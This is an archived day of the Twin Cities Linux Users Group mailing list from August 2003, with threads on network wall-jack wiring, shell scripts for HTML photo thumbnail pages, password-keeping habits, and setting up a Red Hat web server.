<697D85C7B352D411964600D0B765C19B047CB525@saddle.mn1.qbp.com> here's a link for you. http://www.swhowto.com/index.html -----Original Message----- From: Lansing, Dan [mailto:Dan.Lansing@AndersenCorp.com] Sent: Tuesday, August 26, 2003 11:25 AM To: tclug-list@mn-linux.org Subject: [TCLUG] OT: wall jacks Ok...not Linux related but I have looked everywhere...does anyone know where I can find a good how on making a wall jack for networks....just what the wiring order is or what ever....i know how to make the Ethernet cable....i have buttloads of cat 5 but after extensive googling I have come up with nothing but adds selling punchdown tools and guides telling college kids how to plug their PCs in to the wall jacks in their dorms.....thanks Dan Lansing _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From Dan.Lansing at AndersenCorp.com Tue Aug 26 12:17:03 2003 From: Dan.Lansing at AndersenCorp.com (Lansing, Dan) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: wall jacks Message-ID: <0399641989D32043BED5793CCC8F5CD54D36B1@BPEXU1VM2.andersencorp.com> Thanks for the link!!! That page is awesome....all the info I need and much more!! Dan Lansing -----Original Message----- From: Ivan Austin [mailto:iaustin@qbp.com] Sent: Tuesday, August 26, 2003 12:05 PM To: 'tclug-list@mn-linux.org' Subject: RE: [TCLUG] OT: wall jacks here's a link for you. http://www.swhowto.com/index.html _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Tue Aug 26 12:56:27 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: wall jacks In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> Message-ID: <1061920586.1010.1177.camel@lotsa> On Tue, 2003-08-26 at 11:24, Lansing, Dan wrote: > does anyone know where I can find a good how on making a wall jack for > networks?.just what the wiring order is or what ever?. This is a good HowTo on network cabling. It's more than you need to know but worth the read, or at least worth a skim. http://www.duxcw.com/digest/Howto/network/cable/cable1.htm or just jump to the page your looking for. wall jacks page: http://www.duxcw.com/digest/Howto/network/cable/cable5.htm cable Ends page: (I carry a printout of this page in my toolbox) http://www.duxcw.com/digest/Howto/network/cable/cable6.htm -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dd-b at dd-b.net Tue Aug 26 13:13:17 2003 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: wall jacks In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D36AF@BPEXU1VM2.andersencorp.com> Message-ID: "Lansing, Dan" writes: > Ok...not Linux related but I have looked everywhere...does anyone know where I can find a good how on making a wall jack for networks....just what the wiring order is or what ever....i know how to make the Ethernet cable....i have buttloads of cat 5 but after extensive googling I have come up with nothing but adds selling punchdown tools and guides telling college kids how to plug their PCs in to the wall jacks in their dorms.....thanks The Cat5 wall jacks I've used are 110 punchdown devices, and they have the same color coding as is in the CAT5 cables marked on the places you punch the wires down. Kinda hard to miss when they make aiming that easy! -- David Dyer-Bennet, , RKBA: Photos: Snapshots: Dragaera mailing lists: _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kbongers at infinetivity.com Tue Aug 26 13:22:08 2003 From: kbongers at infinetivity.com (Karl Bongers) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094106.18eaf327.sfertch@real-time.com>; from sfertch@real-time.com on Tue, Aug 26, 2003 at 09:41:06AM -0500 References: <20030826094106.18eaf327.sfertch@real-time.com> Message-ID: <20030826132208.A9942@localhost.localdomain> On Tue, Aug 26, 2003 at 09:41:06AM -0500, Shawn wrote: > I want to take an ls of a directory and dump it into an html file (pics) for temporary use. Until I get a sight up with thumbnails (read lack of time right now). > What's the best way to do this? This script will make resized jpgs/thumbnails/html-index out of a dir full of jpgs, suitable for web viewing. Uses convert from ImageMagick. #!/bin/sh -v SCRIPTNAME=$0 if [ "$1" == "" ] || [ "$1" == "--help" ] || [ "$1" == "-?" ] ; then echo use# $SCRIPTNAME directory echo where directory = path to scan for .jpg files. exit 1 fi if ! [ -d $1 ]; then echo Error: The first parameter should be a directory name with picts. exit 1 fi WEBDIR=$1_web THUMBDIR=thumbdir THUMBFILE=$WEBDIR/thumb.html #BAKDIR=`date +m%md%d` if [ "$3" != "_2NDPASS_" ] ; then # first invocation, where we create a new backup path based on # create our thumbnail directory. echo Creating thumbnail directory mkdir -p $WEBDIR/$THUMBDIR echo "Picts " `date` > $THUMBFILE echo "" >> $THUMBFILE echo "

Pictures

" >> $THUMBFILE #find $1 -name *.jpg -exec echo \ >> $THUMBFILE \; # use find to recursively call ourself as 2nd invocation to # convert the file. find $1 -name "*.jpg" -exec ./$SCRIPTNAME $1 "{}" _2NDPASS_ \; echo "" >> $THUMBFILE exit 0 fi # 2nd invocation(find calls us on 2nd invocation. We are given # $3 = "_2NDPASS_" if ! [ "$3" == "_2NDPASS_" ]; then echo Parameter 3[$3] not a 2nd phase operation. exit 1 fi if ! [ -d "$1" ]; then echo The folder [$1] does not exist. exit 1 fi if ! [ -f "$2" ]; then echo The file [$2] does not exist. exit 1 fi FNAME=`basename "$2"` DNAME=`dirname "$2"` echo \\\"$FNAME\" \ >> $THUMBFILE #echo "
" >> $THUMBFILE convert -quality 35 -geometry 320x256! $2 "$WEBDIR/$THUMBDIR/$FNAME" convert -quality 50 $2 "$WEBDIR/$FNAME" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 26 14:05:14 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: wall jacks In-Reply-To: <697D85C7B352D411964600D0B765C19B047CB525@saddle.mn1.qbp.com> References: <697D85C7B352D411964600D0B765C19B047CB525@saddle.mn1.qbp.com> Message-ID: <3F4BAF6A.7050009@visi.com> I was going to put my 2 bits in but... THAT LINK ROCK'S! 8-) Ivan Austin wrote: >here's a link for you. http://www.swhowto.com/index.html > > >-----Original Message----- >From: Lansing, Dan [mailto:Dan.Lansing@AndersenCorp.com] >Sent: Tuesday, August 26, 2003 11:25 AM >To: tclug-list@mn-linux.org >Subject: [TCLUG] OT: wall jacks > > >Ok...not Linux related but I have looked everywhere...does anyone know where >I can find a good how on making a wall jack for networks....just what the >wiring order is or what ever....i know how to make the Ethernet cable....i >have buttloads of cat 5 but after extensive googling I have come up with >nothing but adds selling punchdown tools and guides telling college kids how >to plug their PCs in to the wall jacks in their dorms.....thanks >Dan Lansing > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 26 14:15:44 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826132208.A9942@localhost.localdomain> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826132208.A9942@localhost.localdomain> Message-ID: <3F4BB1E0.6030600@visi.com> Did I ever tell everyone on this list you're all the best people in the world! I borrowed a digital camera from a friend so the inventory of computer stuff will have pic's :o) Some non-computer stuff may end up on the list. That last script will save a world of time porting something to do the thumbnails. BTW I had an interview today that went very well the technical interview was a computer based test. Something like the mcse tests. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bbaptist at iexposure.com Tue Aug 26 10:14:29 2003 From: bbaptist at iexposure.com (Bret Baptist) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826094106.18eaf327.sfertch@real-time.com> References: <20030826094106.18eaf327.sfertch@real-time.com> Message-ID: <200308261014.29033.bbaptist@iexposure.com> On Tuesday 26 August 2003 9:41 am, Shawn wrote: > I want to take an ls of a directory and dump it into an html file (pics) > for temporary use. Until I get a sight up with thumbnails (read lack of > time right now). > > What's the best way to do this? > > I tried a for loop, but it didn't work. > > any help on this would be appreciated. This might work: ls | awk ' BEGIN { print "" print "" print "My Pron" print "" print "" } { print "

" } END { print "" print "" }' > index.html -- Bret Baptist Systems and Technical Support Specialist bbaptist@iexposure.com Internet Exposure, Inc. http://www.iexposure.com (612)676-1946 x17 Web Development-Web Marketing-ISP Services ------------------------------------------ Today is the tomorrow you worried about yesterday. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Tue Aug 26 15:24:20 2003 From: johnnyfulcrum at mn.rr.com (Johnny Fulcrum) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <200308261014.29033.bbaptist@iexposure.com> References: <20030826094106.18eaf327.sfertch@real-time.com> <200308261014.29033.bbaptist@iexposure.com> Message-ID: On Tue, 26 Aug 2003 10:14:29 -0500, Bret Baptist wrote: > On Tuesday 26 August 2003 9:41 am, Shawn wrote: >> I want to take an ls of a directory and dump it into an html file (pics) >> for temporary use. Until I get a sight up with thumbnails (read lack of >> time right now). >> >> What's the best way to do this? >> >> I tried a for loop, but it didn't work. >> >> any help on this would be appreciated. > > This might work: > > ls | awk ' BEGIN { print "" > print "" > print "My Pron" What is this "Pron" everyone keeps talkin' about???? ;) > print "" > print "" } > { print "

" } > END { print "" > print "" }' > index.html > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 26 15:27:18 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826132208.A9942@localhost.localdomain> References: <20030826094106.18eaf327.sfertch@real-time.com> <20030826132208.A9942@localhost.localdomain> Message-ID: <20030826152718.2b520082.sfertch@real-time.com> Cool, thanks Karl. Will have to check this one out, as thumbnails is something I plan on doing eventually. Not sure if ImageMagick is installed or not.... On Tue, 26 Aug 2003 13:22:08 -0500 Karl Bongers wrote: > This script will make resized jpgs/thumbnails/html-index out of a dir > full of jpgs, suitable for web viewing. Uses convert from > ImageMagick. > > #!/bin/sh -v > SCRIPTNAME=$0 > if [ "$1" == "" ] || [ "$1" == "--help" ] || [ "$1" == "-?" ] ; then > echo use# $SCRIPTNAME directory > echo where directory = path to scan for .jpg files. > exit 1 > fi > > if ! [ -d $1 ]; then > echo Error: The first parameter should be a directory name with picts. > exit 1 > fi > > WEBDIR=$1_web > THUMBDIR=thumbdir > THUMBFILE=$WEBDIR/thumb.html > #BAKDIR=`date +m%md%d` > > if [ "$3" != "_2NDPASS_" ] ; then > # first invocation, where we create a new backup path based on > > # create our thumbnail directory. > echo Creating thumbnail directory > mkdir -p $WEBDIR/$THUMBDIR > > echo "Picts " `date` > $THUMBFILE > echo "" >> $THUMBFILE > echo "

Pictures

" >> $THUMBFILE > #find $1 -name *.jpg -exec echo \ >> $THUMBFILE \; > > # use find to recursively call ourself as 2nd invocation to > # convert the file. > find $1 -name "*.jpg" -exec ./$SCRIPTNAME $1 "{}" _2NDPASS_ \; > > echo "" >> $THUMBFILE > exit 0 > fi > > # 2nd invocation(find calls us on 2nd invocation. We are given > # $3 = "_2NDPASS_" > > if ! [ "$3" == "_2NDPASS_" ]; then > echo Parameter 3[$3] not a 2nd phase operation. > exit 1 > fi > > if ! [ -d "$1" ]; then > echo The folder [$1] does not exist. > exit 1 > fi > > if ! [ -f "$2" ]; then > echo The file [$2] does not exist. > exit 1 > fi > > FNAME=`basename "$2"` > DNAME=`dirname "$2"` > echo \\ ALT=\"$FNAME\" \> \ >> $THUMBFILE > #echo "
" >> $THUMBFILE > convert -quality 35 -geometry 320x256! $2 "$WEBDIR/$THUMBDIR/$FNAME" > convert -quality 50 $2 "$WEBDIR/$FNAME" > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From johnnyfulcrum at mn.rr.com Tue Aug 26 17:14:47 2003 From: johnnyfulcrum at mn.rr.com (johnny fulcrum) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: keeping track of passwords Message-ID: Bit off topic, but what's your favorite way to keep track of all your important usernames/passwords? _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Tue Aug 26 17:16:06 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] Computer Stuff Message-ID: <3F4BDC26.5070305@visi.com> The first bunch of hardware is on the site, 8 items. www.screechowl.org Click on the link "stuff" under the second Owl. Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jethro at freakzilla.com Tue Aug 26 17:12:10 2003 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: References: Message-ID: Hey, On Tue, 26 Aug 2003, johnny fulcrum wrote: > Bit off topic, but what's your favorite way to keep track of all your > important usernames/passwords? In my head. Barring that, pgp/gpg'd file encrypted to my public key. Can always stick it on a CD/USB drive or something. -Yaron -- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From joeltclug at litriusgroup.com Tue Aug 26 17:42:44 2003 From: joeltclug at litriusgroup.com (Joel Wickard) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: References: Message-ID: <40571.63.167.96.45.1061937764.squirrel@mail.fifthstreet.net> > > Bit off topic, but what's your favorite way to keep track of all your > important usernames/passwords? > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list I like post-it notes. you just stick em' to your monitor and then they are right there when you need to log into something. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dd-b at dd-b.net Tue Aug 26 17:57:10 2003 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: References: Message-ID: johnny fulcrum writes: > Bit off topic, but what's your favorite way to keep track of all your > important usernames/passwords? Passwordsafe. -- David Dyer-Bennet, , RKBA: Photos: Snapshots: Dragaera mailing lists: _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Tue Aug 26 18:10:47 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: keeping track of passwords Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAFA@mail.temgweb.com> I just make all of my passwords "password". That way I only have to remember one. :) > -----Original Message----- > From: David Dyer-Bennet [mailto:dd-b@dd-b.net] > Sent: Tuesday, August 26, 2003 5:57 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] OT: keeping track of passwords > > > johnny fulcrum writes: > > > Bit off topic, but what's your favorite way to keep track > of all your > > important usernames/passwords? > > Passwordsafe. > -- > David Dyer-Bennet, , > RKBA: > Photos: Snapshots: > > Dragaera mailing lists: > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Tue Aug 26 18:15:39 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: References: Message-ID: <1061939739.1010.1187.camel@lotsa> On Tue, 2003-08-26 at 17:14, johnny fulcrum wrote: > Bit off topic, but what's your favorite way to keep track of all your > important usernames/passwords? Written down in a notebook and put in a fireproof safe (In case I die in the fire) -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From blots at visi.com Tue Aug 26 18:18:00 2003 From: blots at visi.com (Tom Penney) Date: Mon Jan 17 12:41:00 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAFA@mail.temgweb.com> References: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAFA@mail.temgweb.com> Message-ID: <1061939880.1010.1190.camel@lotsa> On Tue, 2003-08-26 at 18:10, Austad, Jay wrote: > I just make all of my passwords "password". That way I only have to > remember one. :) And where do you do your on-line banking? ;-) -- Tom Penney _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Tue Aug 26 18:54:20 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: References: Message-ID: <20030826235419.GA25036@refried.org> On Tue, Aug 26, 2003 at 05:14:47PM -0500, johnny fulcrum wrote: > Bit off topic, but what's your favorite way to keep track of all your > important usernames/passwords? Keyring for Palm Nate _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From waynej at dccmn.com Tue Aug 26 19:20:14 2003 From: waynej at dccmn.com (Wayne Johnson) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: References: Message-ID: <3121.192.1.1.23.1061943614.squirrel@dccmn.com> Upper right drawer of my desk. :{)> johnny fulcrum said: > > Bit off topic, but what's your favorite way to keep track of all your > important usernames/passwords? > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From drue at therub.org Tue Aug 26 20:28:34 2003 From: drue at therub.org (Dan Rue) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] web server possibly RH Message-ID: <3F4C0942.60901@therub.org> So a "new to the linux thing" guy is setting up a RH webserver for his office and he asked me to show him how it all works, where files are, etc. I'm sure he's doing the old "install it all now so i don't have to add more later" approach. Now, i'm a deb guy, so i am pretty worthless with the whole RPM thing. Basically, I'm wondering if there's a good distro that is built to be a webserver (apache), and built to do little else. No GUI, but easy to set up type thing. I am afraid this guy's going to run (and i had an old boss that did this) RH with evreything other thing installed, including X, and it'll be a big darn mess for him to figure out what is going on with his "server". So, any advise, suggestion would be cool. thanks dan _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Tue Aug 26 21:17:32 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: References: <20030826094106.18eaf327.sfertch@real-time.com> <200308261014.29033.bbaptist@iexposure.com> Message-ID: <20030826211732.65f5c09a.sfertch@real-time.com> On Tue, 26 Aug 2003 15:24:20 -0500 Johnny Fulcrum wrote: > > > > ls | awk ' BEGIN { print "" > > print "" > > print "My Pron" > > > What is this "Pron" everyone keeps talkin' about???? > > ;) > > > print "" > > print "" } > > { print "

" } > > END { print "" > > print "" }' > index.html > > Dang, I didn't even see the pr0n reference in there.... No, nothing of the like. I finished scanning/cropping the pics of when my wife and I renewed our vows last year at the Renaissance Festival. Wanted to throw them up on a page real quick so those who were there could see the pics. Not going to eat up my bandwidth by serving out stuff like adult oriented... Not to mention my wife would "Bobbitize" me. =( -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From dsherman at real-time.com Tue Aug 26 21:25:00 2003 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: References: Message-ID: <3F4C167C.3010801@real-time.com> David Dyer-Bennet wrote: > johnny fulcrum writes: > > >>Bit off topic, but what's your favorite way to keep track of all your >>important usernames/passwords? > > > Passwordsafe. Thanks for the info on this. I currently use a gpg encrypted file on my laptop, but I also have an iPaq running WinCE 2002. Going to try PasswordSafe on it tomorrow... -- Dave Sherman - MCSE, MCSA, CCNA Meddle not in the affairs of dragons, for you are crunchy, and good with ketchup. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Tue Aug 26 21:35:37 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] Shell scritping help please In-Reply-To: <20030826211732.65f5c09a.sfertch@real-time.com>; from sfertch@real-time.com on Tue, Aug 26, 2003 at 09:17:32PM -0500 References: <20030826094106.18eaf327.sfertch@real-time.com> <200308261014.29033.bbaptist@iexposure.com> <20030826211732.65f5c09a.sfertch@real-time.com> Message-ID: <20030826213536.A1273@thinkunix.net> Shawn wrote: > No, nothing of the like. I finished scanning/cropping the pics of when my wife and I renewed our vows last year at the Renaissance Festival. Wanted to throw them up on a page real quick so those who were there could see the pics. for picture/photo album type thingies you might want to look at either of these: I've used phpix [1] and it's really easy. mkdir then download your digital photos into the directory and it makes the thumbnails for you. pretty basic and easy. if you want something with more bells and whistles, try phpgallery [2]. both require a php install though. [1] http://www.phpix.org/ [2] http://www.giffin.org/phpgallery.php -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From poptix at techmonkeys.org Tue Aug 26 21:46:49 2003 From: poptix at techmonkeys.org (Matthew S. Hallacy) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] web server possibly RH In-Reply-To: <3F4C0942.60901@therub.org> References: <3F4C0942.60901@therub.org> Message-ID: <20030827024649.GG13598@techmonkeys.org> On Tue, Aug 26, 2003 at 08:28:34PM -0500, Dan Rue wrote: > So a "new to the linux thing" guy is setting up a RH webserver for his > office and he asked me to show him how it all works, where files are, > etc. I'm sure he's doing the old "install it all now so i don't have to > add more later" approach. Now, i'm a deb guy, so i am pretty worthless > with the whole RPM thing. Basically, I'm wondering if there's a good > distro that is built to be a webserver (apache), and built to do little > else. No GUI, but easy to set up type thing. I am afraid this guy's > going to run (and i had an old boss that did this) RH with evreything > other thing installed, including X, and it'll be a big darn mess for him > to figure out what is going on with his "server". Fortunately RedHat doesn't mysteriously break when httpd when you install someone completely unrelated like KDE. I'd set him up with apt4rpm (http://apt.freshrpms.net) which should give you a good head start on maintaining the system. Other than that, web setup/administration will consist of changing a few things in /etc/httpd/conf > > So, any advise, suggestion would be cool. thanks > dan -- Matthew S. Hallacy FUBAR, LART, BOFH Certified http://www.poptix.net GPG public key 0x01938203 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From wilson at visi.com Tue Aug 26 21:41:34 2003 From: wilson at visi.com (Tim Wilson) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: <3F4C167C.3010801@real-time.com> References: <3F4C167C.3010801@real-time.com> Message-ID: <3F4C1A5E.10705@visi.com> Dave Sherman wrote: > > Thanks for the info on this. I currently use a gpg encrypted file on my > laptop, but I also have an iPaq running WinCE 2002. Going to try > PasswordSafe on it tomorrow... FYI, I use Strip on my Palm OS device. (http://www.zetetic.net/products.html) It's GPL and does everything that I've ever needed. -Tim -- Tim Wilson Twin Cities, Minnesota, USA Science teacher, Linux fan, Zope developer, Grad. student, Daddy mailto:wilson@visi.com | http://qwerk.org/ | public key: 0x8C0F8813 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at mn-linux.org Tue Aug 26 23:19:08 2003 From: webmaster at mn-linux.org (webmaster@mn-linux.org) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] A new classified ad at TCLUG Classifieds Message-ID: <200308270419.h7R4J8f29809@crusader.real-time.com> A new TCLUG classified ad at was placed Tue Aug 26 23:19:08 2003. Name: nkras Category: computersell Subject: Ultra 5 for sale Ad: Sun Ultra 5/270 Mhz/256 MB ram/2.1 GB hard drive/40x cdrom/keyboard/mouse: $200 To view this and other ads at TCLUG Classifieds, please visit: http://www.mn-linux.org/cgi-bin/classifieds/classifieds.cgi _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 27 00:32:32 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] web server possibly RH In-Reply-To: <3F4C0942.60901@therub.org> References: <3F4C0942.60901@therub.org> Message-ID: <3F4C4270.6090803@visi.com> Dan Rue wrote: > So a "new to the linux thing" guy is setting up a RH webserver for his > office and he asked me to show him how it all works, where files are, > etc. I'm sure he's doing the old "install it all now so i don't have > to add more later" approach. Now, i'm a deb guy, so i am pretty > worthless with the whole RPM thing. Basically, I'm wondering if > there's a good distro that is built to be a webserver (apache), and > built to do little else. No GUI, but easy to set up type thing. I am > afraid this guy's going to run (and i had an old boss that did this) > RH with evreything other thing installed, including X, and it'll be a > big darn mess for him to figure out what is going on with his "server". > So, any advise, suggestion would be cool. thanks > dan > ______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Give him what he wants and no more, a webserver. Now that may sound simple and it is, but I need more information to give you an answer that will make the customer happy. Who is designing the website and who is implementing the website. Sounds like your friend is installing the OS, why not make your life more simple and do the whole thing. If you will have to fix it later (sounds like that is what will happen) why not make fixing it simple. You may need to give him access to the server from a windows machine so samba may be necessary. God forbid he may want to use frontrage as his development tool of choice. I guess what I'm saying is to control your time now so you don't waste your time later. Sam. P.S. windows SA's that have only been around a short time think everything is GUI, why I don't know. I miss Netware 3.X more then anyone will ever know, sniff sniff :( _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 27 00:36:57 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] OT: keeping track of passwords In-Reply-To: <3F4C1A5E.10705@visi.com> References: <3F4C167C.3010801@real-time.com> <3F4C1A5E.10705@visi.com> Message-ID: <3F4C4379.7040100@visi.com> Tim Wilson wrote: > Dave Sherman wrote: > >> >> Thanks for the info on this. I currently use a gpg encrypted file on >> my laptop, but I also have an iPaq running WinCE 2002. Going to try >> PasswordSafe on it tomorrow... > > > FYI, I use Strip on my Palm OS device. > (http://www.zetetic.net/products.html) It's GPL and does everything > that I've ever needed. > > -Tim > I send an email to TCLUG with all my passwords scrambled in the text of the email. That way I can ask someone to reply to the email and I have my passwords... now how did I scramble that... _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Wed Aug 27 00:43:56 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:41:01 2005 Subject: [TCLUG] Shell 